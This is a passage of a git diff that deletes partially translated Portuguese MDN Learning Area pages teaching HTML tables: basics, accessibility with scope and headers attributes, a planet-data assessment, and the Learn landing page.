-</tr>
- -

Screenreaders will recognize markup structured like this, and allow their users to read out the entire column or row at once, for example.

- -

scope has two more possible values — colgroup and rowgroup. these are used for headings that sit over the top of multiple columns or rows. If you look back at the "Items sold..." table at the start of this section of the article, you'll see that the "Clothes" cell sits above the "Trousers", "Skirts", and "Dresses" cells. All of these cells should be marked up as headers (<th>), but "Clothes" is a heading that sits over the top and defines the other three subheadings. "Clothes" therefore should get an attribute of scope="colgroup", whereas the others would get an attribute of scope="col".

- -

A identificação e atributos de cabeçalhos

- -

An alternative to using the scope attribute is to use {{htmlattrxref("id")}} and {{htmlattrxref("headers", "td")}} attributes to create associations between headers and cells. The way they are used is as follows:

- -
    -
  1. You add a unique id to each <th> element.
  2. -
  3. You add a headers attribute to each <td> element. Each headers attribute has to contain a list of the ids of all the <th> elements that act as a header for that cell, separated by spaces.
  4. -
- -

This gives your HTML table an explicit definition of the position of each cell in the table, defined by the header(s) for each column and row it is part of, kind of like a spreadsheet. For it to work well, the table really needs both column and row headers.

- -

Returning to our spending costs example, the previous two snippets could be rewritten like this:

- -
<thead>
-  <tr>
-    <th id="purchase">Purchase</th>
-    <th id="location">Location</th>
-    <th id="date">Date</th>
-    <th id="evaluation">Evaluation</th>
-    <th id="cost">Cost (€)</th>
-  </tr>
-</thead>
-<tbody>
-<tr>
-  <th id="haircut">Haircut</th>
-  <td headers="location haircut">Hairdresser</td>
-  <td headers="date haircut">12/09</td>
-  <td headers="evaluation haircut">Great idea</td>
-  <td headers="cost haircut">30</td>
-</tr>
-
-  ...
-
-</tbody>
- -
-

Nota: This method creates very precise associations between headers and data cells but it uses a lot more markup and does not leave any room for errors.  The scope approach is usually enough for most tables.

-
- -

Aprendizagem ativa: manipular scope e cabeçalhos

- -
    -
  1. For this final exercise, we'd like you to first make local copies of items-sold.html and minimal-table.css, in a new directory.
  2. -
  3. Now try adding in the appropriate scope attributes to make this table more appropriate.
  4. -
  5. Finally, try making another copy of the starter files, and this time make the table more accessible using id and headers attributes.
  6. -
- -
-

Nota: You can check your work against our finished examples — see items-sold-scope.html (also see this live) and items-sold-headers.html (see this live too).

-
- -

Resumo

- -

There are a few other things you could learn about table HTML, but we have really given all you need to know at this moment in time. At this point, you might want to go and learn about styling HTML tables — see Styling Tables.

- -
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/basics/index.html b/files/pt-pt/learn/html/tables/basics/index.html deleted file mode 100644 index fa6242c871..0000000000 --- a/files/pt-pt/learn/html/tables/basics/index.html +++ /dev/null @@ -1,651 +0,0 @@ ---- -title: HTML - o essencial de tabela -slug: Learn/HTML/Tables/Basics -tags: - - Aprender - - Artigo - - HTML - - Linha - - Principiante - - básicos - - cabeçalho - - coluna - - célula - - essencial - - tabelas -translation_of: Learn/HTML/Tables/Basics -original_slug: Learn/HTML/Tables/Basicos ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/HTML/Tables/Avancada", "Learn/HTML/Tables")}}
- -

Este artigo inicia-o nas tabelas HTML, abrangendo o essencial, tais como linhas e células, cabeçalhos, distribuir as células por várias colunas e linhas, e como agrupar todas as células em uma coluna para fins de estilização.

- - - - - - - - - - - - -
Pré-requisitos:O essencial de HTML (consulte Introdução ao HTML).
Objetivo:Familiarizar-se com as tabelas HTML.
- -

O que é uma tabela?

- -

Uma tabela é um conjunto estruturado de dados constituído por linhas e colunas (dados tabulares). Uma tabela permite consultar, fácil e rapidamente, valores que indiquem alguma relação entre diferentes tipos de dados, por exemplo, uma pessoa e a sua idade, ou os dias da semana num horário de uma piscina.

- -

A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47.

- -

A swimming timetable showing a sample data table

- -

As tabelas são utilizadas muito frequentemente na sociedade humana, já há muito tempo, como prova este documento dos US Census, datado de 1800:

- -

A very old parchment document; the data is not easily readable, but it clearly shows a data table being used.

- -

Não é, portanto, surpreendente que os criadores do HTML forneceram um meio de estruturar e apresentar dados tabulares na web.

- -

Como é que uma tabela funciona?

- -

O propósito de uma tabela é ser rígida. A informação é interpretada facilmente através de associação visual entre cabeçalhos de linhas e colunas. Olhe para a tabela em baixo, por exemplo, e encontre um gigante gasoso Joviano com 62 luas. Pode chegar à resposta associando os cabeçalhos das linhas e colunas relevantes.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dados de planetas no sistema solar (Factos planetários retirados de  Nasa's Planetary Fact Sheet - Metric)
 NomeMassa (1024kg)Diâmetro (km)Densidade (kg/m3)Gravidade (m/s2)Duração do dia (horas)Distância do Sol (106km)Temperatura média (°C)Número de luasNotas
Planetas rochososMercúrio0.3304 87954273,74222,657,91670O mais próximo do Sol
Vénus4.8712 10452438,92802,0108,24640 
Terra5.9712 75655149,824,0149,6151O nosso mundo
Marte0.6426 79239333,724,7227,9-652O planeta vermelho
Gigantes JovianosGigantes gasososJúpiter1898142 984132623,19,9778,6-11067O maior planeta
Saturno568120 5366879,010,71433,5-14062 
Gigantes geladoUrano86.851 11812718,717,22872,5-19527 
Neptuno10249 528163811,016,14495,1-20014 
Planetas anõesPlutão0.01462 37020950,7153,35906,4-2255Desclassificado como planeta em 2006, mas tal ainda é controverso.
- -

Quando executada corretamente, até cegos podem interpretar dados tabulares numa tabela de HTML — uma tabela de HTML bem sucedida deve melhorar a experiência utilizadores com deficiências visuais.

- -

Estilização da tabela

- -

Também pode ver este exemplo ao vivo no GitHub! Algo que vai notar é que a tabela parece um pouco mais legível lá — isto acontece porque a tabela em cima tem estilização mínima, ao passo que a versão do GitHub aplica estilos CSS mais significativos.

- -

Não se iluda; para as tabelas serem eficazes na internet, tem que fornecer alguma informação de estilos com CSS, assim como uma boa estrutura sólida com HTML. Neste módulo focamo-nos na parte de HTML; para saber mais sobre a parte de CSS deve visitar o nosso artigo sobre Estilizar tabelas, quando acabar de ler este.

- -

Não nos vamos focar em CSS neste módulo, mas proporcionamos uma folha de estilos CSS mínima que pode usar para tornar as suas tabelas mais legíveis do que se não tivesse estilo. Pode obter a folha de estilos aqui, e também pode obter um modelo HTML que aplica a folha de estilos — juntando estes dois documentos terá um bom ponto de partida para fazer experiências com tabelas HTML.

- -

Quando NÃO deverá utilizar tabelas HTML?

- -

Tabelas em HTML devem ser utilizdas para mostrar dados tabulares — é para isso que foram concebidas. Infelizmente, muitas pessoas costumavam usar tabelas HTML para dispor páginas web: por exemplo, uma linha contém o cabeçalho, uma linha possui o conteúdo, organizado em colunas, outra linha contém o rodapé, etc. Esta prática era comum porque o suporte para CSS nos vários navegadores costumava ser horrível. Hoje em dia, layouts com tabelas são muito menos comuns, mas ainda os poderá encontrar em alguns cantos da internet. Poderá encontrar mais detalhes e um exemplo no artigo Layouts de páginas no nosso Módulo de Acessibilidade.

- -

Resumidamente, recorrer a tabelas para dispor elementos em vez de Técnicas de layout CSS é má ideia. As razões principais são as seguintes:

- -
    -
  1. Layouts com tabelas reduzem acessibilidade de utilizadores com deficiências visuais: Os leitores de ecrãs, usados por cegos, interpretam as etiquetas existentes na página HTML e lêem o conteúdo em voz alta. Como tabelas não são uma ferramenta adequada para o layout, e a marcação é mais complexa do que se recorresse a técnicas de layout de CSS, a informação dada pelos leitores de ecrãs será confusa para os seus utilizadores.
  2. -
  3. Tabelas produzem "sopa" de etiquetas: Como já foi referido, layouts com tabelas geralmente envolvem estruturas de marcação mais complexas do que as técnicas de layout próprias. Isto torna o código mais difícil de escrever, manter e depurar.
  4. -
  5. Tabelas não são automaticamente responsivas: Ao usar contentores próprios (como {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, ou {{htmlelement("div")}}), a sua largura por omissão é 100% do elemento pai. Tabelas, pelo contrário, são dimensionadas de acordo com o seu conteúdo, pelo que são necessárias medidas adicionais para conseguir que o estilo do layout funcione eficazmente numa variedade de dispositivos.
  6. -
- -

Aprendizagem ativa: Criar a sua primeira tabela

- -

We've talked table theory enough, so, let's dive into a practical example and build up a simple table.

- -
    -
  1. First of all, make a local copy of blank-template.html and minimal-table.css in a new directory on your local machine.
  2. -
  3. The content of every table is enclosed by these two tags : <table></table>. Add these inside the body of your HTML.
  4. -
  5. The smallest container inside a table is a table cell, which is created by a <td> element ('td' stands for 'table data'). Add the following inside your table tags: -
    <td>Hi, I'm your first cell.</td>
    -
  6. -
  7. If we want a row of four cells, we need to copy these tags three times. Update the contents of your table to look like so: -
    <td>Hi, I'm your first cell.</td>
    -<td>I'm your second cell.</td>
    -<td>I'm your third cell.</td>
    -<td>I'm your fourth cell.</td>
    -
  8. -
- -

As you will see, the cells are not placed underneath each other, rather they are automatically aligned with other on the same row. Each <td> element creates a single cell and together they make up the first row. Every cell we add makes the row grow longer.

- -

To stop this row from growing and start placing subsequent cells on a second row, we need to use the <tr> element ('tr' stands for 'table row'). Let's investigate this now.

- -
    -
  1. Place the four cells you've already created inside <tr> tags, like so: - -
    <tr>
    -  <td>Hi, I'm your first cell.</td>
    -  <td>I'm your second cell.</td>
    -  <td>I'm your third cell.</td>
    -  <td>I'm your fourth cell.</td>
    -</tr>
    -
  2. -
  3. Now you've made one row, have a go at making one or two more — each row needs to be wrapped in an additional <tr> element, with each cell contained in a <td>.
  4. -
- -

This should result in a table that looks something like the following:

- - - - - - - - - - - - - - - - -
Hi, I'm your first cell.I'm your second cell.I'm your third cell.I'm your fourth cell.
Second row, first cell.Cell 2.Cell 3.Cell 4.
- -
-

Nota:também pode encontrar isto no GitHub, como simple-table.html (veja-a em execução).

-
- -

Adicionar cabeçalhos com elementos <th>

- -

Now let's turn our attention to table headers — special cells that go at the start of a row or column and define the type of data that row or column contains (as an example, see the "Person" and "Age" cells in the first example shown in this article). To illustrate why they are useful, have a look at the following table example. First the source code:

- -
<table>
-  <tr>
-    <td>&nbsp;</td>
-    <td>Knocky</td>
-    <td>Flor</td>
-    <td>Ella</td>
-    <td>Juan</td>
-  </tr>
-  <tr>
-    <td>Breed</td>
-    <td>Jack Russell</td>
-    <td>Poodle</td>
-    <td>Streetdog</td>
-    <td>Cocker Spaniel</td>
-  </tr>
-  <tr>
-    <td>Age</td>
-    <td>16</td>
-    <td>9</td>
-    <td>10</td>
-    <td>5</td>
-  </tr>
-  <tr>
-    <td>Owner</td>
-    <td>Mother-in-law</td>
-    <td>Me</td>
-    <td>Me</td>
-    <td>Sister-in-law</td>
-  </tr>
-  <tr>
-    <td>Eating Habits</td>
-    <td>Eats everyone's leftovers</td>
-    <td>Nibbles at food</td>
-    <td>Hearty eater</td>
-    <td>Will eat till he explodes</td>
-  </tr>
-</table>
- -

Em baixo, tem a tabela renderizada:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 KnockyFlorEllaJuan
BreedJack RussellPoodleStreetdogCocker Spaniel
Age169105
OwnerMother-in-lawMeMeSister-in-law
Eating HabitsEats everyone's leftoversNibbles at foodHearty eaterWill eat till he explodes
- -

The problem here is that, while you can kind of make out what's going on, it is not as easy to cross reference data as it could be. If the column and row headings stood out in some way, it would be much better.

- -

Aprendizagem ativa: cabeçalhos de tabela

- -

Let's have a go at improving this table.

- -
    -
  1. First, make a local copy of our dogs-table.html and minimal-table.css files in a new directory on your local machine. The HTML contains the same Dogs example as you saw above.
  2. -
  3. To recognize the table headers as headers, both visually and semantically, you can use the <th> element ('th' stand for 'table header'). This works in exactly the same way as a <td>, except that it denotes a header, not a normal cell. Go into your HTML, and change all the <td> elements surrounding the table headers into <th> elements.
  4. -
  5. Save your HTML and load it in a browser, and you should see that the headers now look like headers.
  6. -
- -
-

Nota: You can find our finished example at dogs-table-fixed.html on GitHub (see it live also).

-
- -

Porque é que os cabeçalhos são úteis?

- -

We have already partially answered this question — it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better.

- -
-

Nota: Table headings come with some default styling — they are bold and centered even if you don't add your own styling to the table, to help them stand out.

-
- -

Tables headers also have an added benefit — along with the scope attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. Screenreaders are then able to read out a whole row or column of data at once, which is pretty useful.

- -

Permitir que as células sejam distribuídas por múltiplas filas e colunas

- -

Sometimes we want cells to span multiple rows or columns. Take the following simple example, which shows the names of common animals. In some cases, we want to show the names of the males and females next to the animal name. Sometimes we don't, and in such cases we just want the animal name to span the whole table.

- -

The initial markup looks like this:

- -
<table>
-  <tr>
-    <th>Animals</th>
-  </tr>
-  <tr>
-    <th>Hippopotamus</th>
-  </tr>
-  <tr>
-    <th>Horse</th>
-    <td>Mare</td>
-  </tr>
-  <tr>
-    <td>Stallion</td>
-  </tr>
-  <tr>
-    <th>Crocodile</th>
-  </tr>
-  <tr>
-    <th>Chicken</th>
-    <td>Cock</td>
-  </tr>
-  <tr>
-    <td>Rooster</td>
-  </tr>
-</table>
- -

But the output doesn't give us quite what we want:

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Animals
Hippopotamus
HorseMare
Stallion
Crocodile
ChickenCock
Rooster
- -

We need a way to get "Animals", "Hippopotamus", and "Crocodile" to span across two columns, and "Horse" and "Chicken" to span downwards over two rows. Fortunately, table headers and cells have the colspan and rowspan attributes, which allow us to do just those things. Both accept a unitless number value, which equals the number of rows or columns you want spanned. For example, colspan="2" makes a cell span two columns.

- -

Let's use colspan and rowspan to improve this table.

- -
    -
  1. First, make a local copy of our animals-table.html and minimal-table.css files in a new directory on your local machine. The HTML contains the same animals example as you saw above.
  2. -
  3. Next, use colspan to make "Animals", "Hippopotamus", and "Crocodile" span across two columns.
  4. -
  5. Finally, use rowspan to make "Horse" and "Chicken" span across two rows.
  6. -
  7. Save and open your code in a browser to see the improvement.
  8. -
- -
-

Note: You can find our finished example at animals-table-fixed.html on GitHub (see it live also).

-
- - -
- -

Proporcionar estilização comum para colunas

- -

There is one last feature we'll tell you about in this article before we move on. HTML has a method of defining styling information for an entire column of data all in one place — the <col> and <colgroup> elements. These exist because it can be a bit annoying and inefficient having to specify styling on columns — you generally have to specify your styling information on every <td> or <th> in the column, or use a complex selector such as {{cssxref(":nth-child()")}}.

- -

Take the following simple example:

- -
<table>
-  <tr>
-    <th>Data 1</th>
-    <th style="background-color: yellow">Data 2</th>
-  </tr>
-  <tr>
-    <td>Calcutta</td>
-    <td style="background-color: yellow">Orange</td>
-  </tr>
-  <tr>
-    <td>Robots</td>
-    <td style="background-color: yellow">Jazz</td>
-  </tr>
-</table>
- -

Which gives us the following result:

- - - - - - - - - - - - - - - - -
Data 1Data 2
CalcuttaOrange
RobotsJazz
- -

This isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a class set on all three in a real project and specify the styling in a separate stylesheet). Instead of doing this, we can specify the information once, on a <col> element. <col> elements are  specified inside a <colgroup> container just below the opening <table> tag. We could create the same effect as we see above by specifying our table as follows:

- -
<table>
-  <colgroup>
-    <col>
-    <col style="background-color: yellow">
-  </colgroup>
-  <tr>
-    <th>Data 1</th>
-    <th>Data 2</th>
-  </tr>
-  <tr>
-    <td>Calcutta</td>
-    <td>Orange</td>
-  </tr>
-  <tr>
-    <td>Robots</td>
-    <td>Jazz</td>
-  </tr>
-</table>
- -

Effectively we are defining two "style columns", one specifying styling information for each column. We are not styling the first column, but we still have to include a blank <col> element — if we didn't, the styling would just be applied to the first column.

- -

If we wanted to apply the styling information to both columns, we could just include one <col> element with a span attribute on it, like this:

- -
<colgroup>
-  <col style="background-color: yellow" span="2">
-</colgroup>
- -

Just like colspan and rowspan, span takes a unitless number value that specifies the number of columns you want the styling to apply to.

- -

Aprendizagem ativa: colgroup e col

- -

Now it's time to have a go yourself.

- -

Below you can see the timetable of a languages teacher. On Friday she has a new class teaching Dutch all day, but she also teaches German for a few periods on Tuesday and Thursdays. She wants to highlight the columns containing the days she is teaching.

- -

{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}

- -

Recreate the table by following the steps below.

- -
    -
  1. First, make a local copy of our timetable.html file in a new directory on your local machine. The HTML contains the same table you saw above, minus the column styling information.
  2. -
  3. Add a <colgroup> element at the top of the table, just underneath the <table> tag, in which you can add your <col> elements (see the remaining steps below).
  4. -
  5. The first two columns need to be left unstyled.
  6. -
  7. Add a background color to the third column. The value for your style attribute is background-color:#97DB9A;
  8. -
  9. Set a separate width on the fourth column. The value for your style attribute is width: 42px;
  10. -
  11. Add a background color to the fifth column. The value for your style attribute is background-color: #97DB9A;
  12. -
  13. Add a different background color plus a border to the sixth column, to signify that this is a special day and she's teaching a new class. The values for your style attribute are background-color:#DCC48E; border:4px solid #C1437A;
  14. -
  15. The last two days are free days, so just set them to no background color but a set width; the value for the style attribute is width: 42px;
  16. -
- -

See how you get on with the example. If you get stuck, or want to check your work, you can find our version on GitHub as timetable-fixed.html (see it live also).

- -

Resumo

- -

That just about wraps up the basics of HTML Tables. In the next article we will look at some slightly more advanced table features, and start to think how accessible they are for visually impaired people.

- -
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- -
-

Neste módulo

- - -
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/index.html b/files/pt-pt/learn/html/tables/index.html deleted file mode 100644 index 8078285603..0000000000 --- a/files/pt-pt/learn/html/tables/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Tabelas HTML -slug: Learn/HTML/Tables -tags: - - Artigo - - Guía - - HTML - - Principiante - - Programação Scripting - - modulo - - tabelas -translation_of: Learn/HTML/Tables ---- -
{{LearnSidebar}}
- -

Uma tarefa muito comum em HTML é estruturar os dados tabulares, e esta tem um número de elementos e atributos próprios para essa finalidade. Em conjunto com a linguagem CSS para estilização, o HTML torna fácil a exibição de tabelas com informação na Web, tais como o seu plano de lições escolares, o horário na sua piscina local, ou s estatísticas sobre os seus dinossauros favoritos ou equipas de futebol. Este módulo leva-o a tudo o que precisa saber sobre a estruturação de dados tabulares, utilziando o HTML.

- -

Pré-requisitos

- -

Antes de iniciar este módulo, já deverá ter domínio dos básicos de HTML — consulte Introdução ao HTML.

- -
-

Nota: se está a utilizar um computador/tablet/outro dispositivo onde não tem a possibilidade de criar os seus próprios ficheiros, pode testar (a maioria) dos exemplos de código num programa de codificação on-line, tais como JSBin ou Thimble.

-
- -

Guias

- -

Este módulo contém os seguintes artigos:

- -
-
HTML - o essencial de tabela
-
Este artigo inicia-o nas tabelas HTML, cobrindo o essencial, tais como linhas e células, cabeçalhos, como distribuir as células por múltiplas colunas e linhas, e como agrupar todas as células numa coluna para efeitos de estilio.
-
HTML - funcionalidades avançadas de tabela e acessibilidade
-
No segundo artigo deste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML — tais como legendas/resumos e agrupar as suas filas no cabçalho da taela, secções de corpo e rodapé — bem como, ver a acessibilidade das tabelas para os utilizadores deficientes visuais .
-
- -

Avaliações

- -
-
Estruturar os dados do planeta
-
Na nossa avaliação de tabela, nós vamos fornecer alguns dados sobre os planetas do nosso sistema solar, para que possa estruturá-los numa tabela HTML.
-
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/structuring_planet_data/index.html b/files/pt-pt/learn/html/tables/structuring_planet_data/index.html deleted file mode 100644 index d37cbc7591..0000000000 --- a/files/pt-pt/learn/html/tables/structuring_planet_data/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: 'Avaliação: Estruturar os dados dos planetas' -slug: Learn/HTML/Tables/Structuring_planet_data -translation_of: Learn/HTML/Tables/Structuring_planet_data -original_slug: Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- -

Na nossa avaliação de tabela, nós forncemos-lhe alguns dados dos planetas no nosso sistema solar, para que possa estruturá-los numa tabela HTML .

- - - - - - - - - - - - -
Pré-requisitos:Before attempting this assessment you should have already worked through all the articles in this module.
Objetivo:To test comprehension of HTML tables and associated features.
- -

Ponto inicial

- -

To get this assessment started, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer.

- -
-

Note: Alternatively, you could use a site like JSBin or Thimble to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page.

-
- -

Sumário do projeto

- -

You are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures about the planets. An HTML data table would be ideal — you need to take the raw data you have available and turn it into a table, following the steps below.

- -

The finished table should look like this:

- -

- -

You can also see the example live here (no looking at the source code — don't cheat!)

- -
    -
- -

Passos para concluir

- -

The following steps describe what you need to do to complete the table example. All the data you'll need is contained in the planets-data.txt file. If you have trouble visualising the data, look at the live example above, or try drawing a diagram.

- -
    -
  1. Open your copy of blank-template.html, and start the table off by giving it an outer container, a table header, and a table body. You don't need a table footer for this example.
  2. -
  3. Add the provided caption to your table.
  4. -
  5. Add a row to the table header containing all the column headers.
  6. -
  7. Create all the content rows inside the table body, remembering to make all the row headings into headings semantically.
  8. -
  9. Make sure all the content is inserted into the right cells — in the raw data, each row of planet data is shown next to its associated planet.
  10. -
  11. Add attributes to make the row and column headers unambiguously associated with the rows, columns, or rowgroups that they act as headings for.
  12. -
  13. Add a black border just around the column that contains all the planet name row headers.
  14. -
- -

Dicas e sugestões

- -
    -
  • The first cell of the header row needs to be blank, and span two columns.
  • -
  • The group row headings (e.g. Jovian planets) that sit to the left of the planet name row headings (e.g. Saturn) are a little tricky to sort out — you need to make sure each one spans the correct number of rows and columns.
  • -
  • One way of associating headers with their rows/columns is a lot easier than the other way.
  • -
- -

Avaliação

- -

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the Learning Area Discourse thread, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

- -

{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}

- -
- - - - - -
diff --git a/files/pt-pt/learn/index.html b/files/pt-pt/learn/index.html deleted file mode 100644 index 9a769eef86..0000000000 --- a/files/pt-pt/learn/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Aprender sobre o desenvolvimento da Web -slug: Learn -tags: - - Aprender - - Beginner - - CSS - - HTML - - Index - - Introdução - - Landing - - Web -translation_of: Learn ---- -
{{LearnSidebar}}
- -
-

Bem-vindo à Área de Aprendizagem da MDN. Este conjunto de artigos visa fornecer aos principiantes no desenvolvimento da web com tudo o que eles precisam para começarem a programar websites simples.

-
- -

O objetivo desta área da MDN não é transformá-lo de "principiante" em "especialista", mas sim, de "principiante" a "competente". A partir daí, deverá conseguir começar o seu próprio trajeto, a aprender com o resto da MDN e outros recursos de nível intermediário e / ou avançado que requerem conhecimento prévio.

- -

Se é principiante, o desenvolvimento da web pode ser um desafio — nós iremos dar-lhe a mão e fornecer-lhe detalhes suficientes para que se sinta confortável e aprenda os tópicos adequadamente. Deve sentir-se confortável, quer seja um estudante a aprender desenvolvimento web (por sua conta ou como parte de uma turma), um professor a pesquisar matéria para aulas, como passatempo, ou alguém que apenas quer saber mais sobre como as tecnologias da web funcionam.

- -

What's new?

- -

O conteúdo a Área de Aprendizagem está a ser acrescentado com regularidade. Começámos a manter Registo de atualizações na Área de aprendizagem (texto em inglês) para mostrar as mudanças mais recentes.

- -

Se tem questões sobre tópicos que gostaria que fossem abordados ou acha que estão em falta, contacte nos através do Discourse forum.

- -
-

Deseja ser um programador de front-end?

- -

Nos construimos um curso que inclui toda a informação essencial que precisa para atingir o seu objetivo.

- -

Começar a Aprender

-
- -

Onde começar

- -
    -
  • Principiante: Se é principiante no do desenvolvimento da Web, nós recomendamos que comesse pelo nosso módulo Começar com a Web, que fornece uma introdução prática ao desenvolvimento web.
  • -
  • Além do básico: Se já tem algum conhecimento, o próximo passo é aprender {{glossary("HTML")}} e {{glossary("CSS")}} em detalhe: comece com o nosso módulo Introdução a HTML e avance para o nosso módulo Introdução a CSS.
  • -
  • Mover para scripting: Se já se sente confortável com HTML e CSS, ou se está interessado principalmente em código, poderá querer seguir para {{glossary("JavaScript")}} ou desenvolvimento do lado do servidor. Comece com os nossos módulos JavaScript - primeiros passos e Primeiros passos do lado do servidor.
  • -
  • Frameworks e ferramentas: Após ter um conhecimento forte dos essenciais de HTML, CSS e JavaScript, deve aprender sobre ferramentas de desenvolvimento client-side, e a seguir considere aprender sobre client-side JavaScript frameworks e programação de websites server-side.
    -  
  • -
- -
-

Nota: O nosso Glossário proporciona definições de terminologia. Ademais, se tiver uma questão específica pode ver a página de Questões Comuns.

-
- -

{{LearnBox({"title":"Random glossary entry"})}}

- -

Tópicos abrangidos

- -

A seguir, tem uma lista de todos os tópicos que nós abordaremos na área de aprendizagem da MDN.

- -
-
Primeiros passos na aprendizagem Web
-
Proporciona uma introdução prática ao desenvolvimento web para os principiantes.
-
HTML — Estruturar a web
-
HTML é a Linguagem que é usada para estruturar as diferentes partes dos conteúdos e definir o seu significado ou propósito. Este tópico ensina HTML em detalhe.
-
CSS — Estilizar a web
-
CSS é a Linguagem usada para estilizar e formatar o conteúdo Web, como também acrescenta comportamentos como, por exemplo, animações. Este tópico apresenta uma cobertura abrangente de CSS.
-
JavaScript — Scripts dinâmicos do lado do cliente
-
JavaScript é a Linguagem usada para adicionar funcionalidades dinâmicas a uma página Web. Este tópico ensina o essencial para se tornar confortável a escrever e compreender JavaScript.
-
Acessibilidade — tornar a web utilizável por todos
-
Acessibilidade é a prática de tornar a Web disponível ao maior número possível de pessoas independentemente de alguma incapacidade física, localização, dispositivo ou outro fator qualquer. Este tópico mostrará-lhe tudo o que precisa saber.
-
Ferramentas e testes
-
Este tópico abrange as ferramentas que os programadores utilizam para facilitar o seu trabalho, como, por exemplo, ferramentas de testes para diferentes navegadores, linters, formatadores, ferramentas de transformação, sistemas de controlo de versão, ferramentas de deployment, e client-side frameworks de JavaScript.
-
Programação Server-Side
-
Mesmo que esteja focado em desenvolvimento client-side, é muito útil saber como funcionam os servidores e como são as características da programação server-side. Este tópico fornece uma introdução geral em como tudo isso funciona e fornece também tutoriais detalhados que mostram como construir uma aplicação server-side a usar duas frameworks populares: Django (Phyton) e Express (Node.js).
-
- -

Como obter os nossos exemplos de código

- -

Os exemplos de código que irá encontrar na Área de Aprendizagem podem ser encontrados na nossa página no GitHub. Se preferir copiá-los para o seu computador, a maneira mais fácil é descarregar o ficheiro ZIP do código mais recente.

- -

Se preferir copiar o código duma maneira mais flexível que permite atualizações automáticas, pode seguir estas instruções um pouco mais complexas:

- -
    -
  1. Instale Git na sua máquina. Este é o sistema de controlo de versão sob qual o GitHub funciona.
  2. -
  3. Inscreva se no GitHub. Isto é simples e fácil (mas é em inglês).
  4. -
  5. Quando se tiver inscrito, entre na sua conta no github.com com o seu nome de utilizador e senha.
  6. -
  7. Abra o command prompt (Windows) ou terminal (Linux, MacOSX) no seu computador.
  8. -
  9. Para copiar o repositório da área de ensino para uma pasta chamada learning-area dentro da pasta a qual o command prompt / terminal esta apontado, use o seguinte comando: -
    git clone https://github.com/mdn/learning-area
    -
  10. -
  11. Agora pode entrar na pasta e encontrar os ficheiros que procura (a usar o finder / file explorer ou o comando "cd").
  12. -
  13. Visite a página de ajuda no GitHub para mais informação.
  14. -
- -

Também pode atualizar a sua versão do repositório learning-area com quaisquer mudanças feitas na versão master no GitHub com os seguintes passos:

- -
    -
  1. No command prompt / terminal, vá à pasta learning-area usando cd. Por exemplo, se estiver na pasta que a contem: - -
    cd learning-area
    -
  2. -
  3. Atualize o repositório usando o comando: -
    git pull
    -
  4. -
- -

Contactar-nos

- -

Se nos deseja contactar sobre o que for, a melhor forma é através do nosso Discourse forum. Nós desejamos saber de tudo que está incorreto ou em falta no site, pedidos para novos tópicos, pedidos de ajuda com items que não entende, ou qualquer outra questão ou preocupação.

- -

Se estiver interessado em ajudar a desenvolver / melhorar o conteúdo, veja o artigo Como Contribuir. Estamos interessados em falar com você, seja um aluno, professor, programador da web experiente, ou alguém interessado em ajudar a melhorar a experiência de aprendizagem.

- -

Ver também

- -
-
Boletim Informativo de Desenvolvimento da Mozilla
-
O nosso boletim para programadores da web, que é um recurso fantástico para todos os níveis de experiência (escrito em inglês).
-
- -
-
Codecademy
-
Um ótimo site para aprender linguagens de programação, sem necessitar conhecimentos prévios.
-
Code.org
-
Teoria e prática básica de programação, focado em ensinar crianças ou principiantes.
-
EXLskills 
-
Cursos gratuitos e abertos para o aprendizado de habilidades tecnológicas, com orientação e aprendizagem baseada em projetos.
-
freeCodeCamp.org
-
Um website interativo com tutoriais (challenges) e projetos para aprender desenvolvimento web.
-
- -
-
Web Literacy Map
-
Uma framework para conhecimento básico da web & habilidades do século XXI, que também dá acesso a atividades de ensino divididas em categorias.
-
Atividades de ensino
-
Uma série de atividades de ensino para uso no ensino (e aprendizagem pessoal) criada pela Mozilla Foundation, cobre tudo desde os básicos da web, até privacidade com JavaScript e hacking o Minecraft.
-
Edabit
-
Milhares de desafios interativos de JavaScript.
-
diff --git a/files/pt-pt/learn/index/index.html b/files/pt-pt/learn/index/index.html deleted file mode 100644 index cc9d1be7a8..0000000000 --- a/files/pt-pt/learn/index/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Índex -slug: Learn/Index -tags: - - Aprender - - Index - - Metadados da MDN -translation_of: Learn/Index ---- -

{{Index("/pt-PT/docs/Learn")}}

- -
- - - - - -
